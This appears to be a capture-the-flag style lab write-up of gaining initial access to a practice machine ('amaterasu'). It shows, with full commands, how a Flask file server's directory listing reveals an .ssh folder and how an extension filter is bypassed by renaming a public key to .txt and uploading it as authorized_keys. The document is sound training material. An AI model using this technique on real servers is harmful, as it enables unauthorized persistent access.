Arbitrary File Upload


The web server on the target port 33414 is hosting a Flask API server named, Python File Server REST API v2.5, that features directory listing as well as file upload. The file upload feature appears to be the default example shown in the official Flask documentation.

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -s http://$IP:33414/file-list?dir=/home/alfredo | jq     
[
  ".bash_logout",
  ".bash_profile",
  ".bashrc",
  "local.txt",
  ".ssh",
  "restapi",
  ".bash_history"
]
 
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -s http://$IP:33414/file-list?dir=/home/alfredo/restapi | jq
[
  "app.py",
  "main.py",
  "__pycache__"
]
 
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -s http://$IP:33414/file-list?dir=/home/alfredo/.ssh | jq                                         
[
  "id_rsa",
  "id_rsa.pub"
]

It would appear that the /alfredo user is running the Flask API server, suggested by the restapi directory present in the home directory of the alfredo user. Additionally, I am able to access the home directory of the user. Since there is a SSH directory present, I could attempt to write a authorized_keys file with Kali’s SSH public key

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ ssh-keygen -t rsa -f id_rsa.alfredo        
Generating public/private rsa key pair.
Enter passphrase for "id_rsa.alfredo" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in id_rsa.alfredo
Your public key has been saved in id_rsa.alfredo.pub
The key fingerprint is:
SHA256:xYm8dr+U0lb2vaZPVKUoJI4ONfcQgg1rmfqsMjsZ65Q kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|    .++ =..     .|
|    .=.B B . . ..|
|    * . + * . . .|
|   o o   o .    .|
|  .   . S .   o. |
|. .o   . . o +...|
| E  o     . *  .o|
|B  .       + ....|
|o*.         ..+o |
+----[SHA256]-----+

Generating a RSA key pair for SSH

Extension Filter


┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -X POST  http://$IP:33414/file-upload -F "file=@id_rsa.alfredo.pub" -F "filename=/home/alfredo/.ssh/authorized_keys"
{"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}

There is an extension filter. Much like that default example

Bypass


┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ mv id_rsa.alfredo.pub id_rsa.alfredo.pub.txt 

I change the extension of the uploading file to an acceptable extension; .txt

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -X POST  http://$IP:33414/file-upload -F "file=@id_rsa.alfredo.pub.txt" -F "filename=/home/alfredo/.ssh/authorized_keys"
{"message":"File successfully uploaded"}
 
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -s http://$IP:33414/file-list?dir=/home/alfredo/.ssh | jq                                                                   
[
  "id_rsa",
  "id_rsa.pub",
  "authorized_keys"
]

and upload it successfully

SSH


┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ ssh alfredo@$IP -p25022 -i ./id_rsa.alfredo                                       
Last login: Tue Mar 28 03:21:25 2023
[alfredo@fedora ~]$ whoami
alfredo
[alfredo@fedora ~]$ hostname
fedora
[alfredo@fedora ~]$ ifconfig
ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.120.249  netmask 255.255.255.0  broadcast 192.168.120.255
        inet6 fe80::c03e:6487:9234:9f8b  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:9e:08:27  txqueuelen 1000  (Ethernet)
        RX packets 560  bytes 43676 (42.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 110  bytes 14091 (13.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 20  bytes 1120 (1.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 1120 (1.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the alfredo user via SSH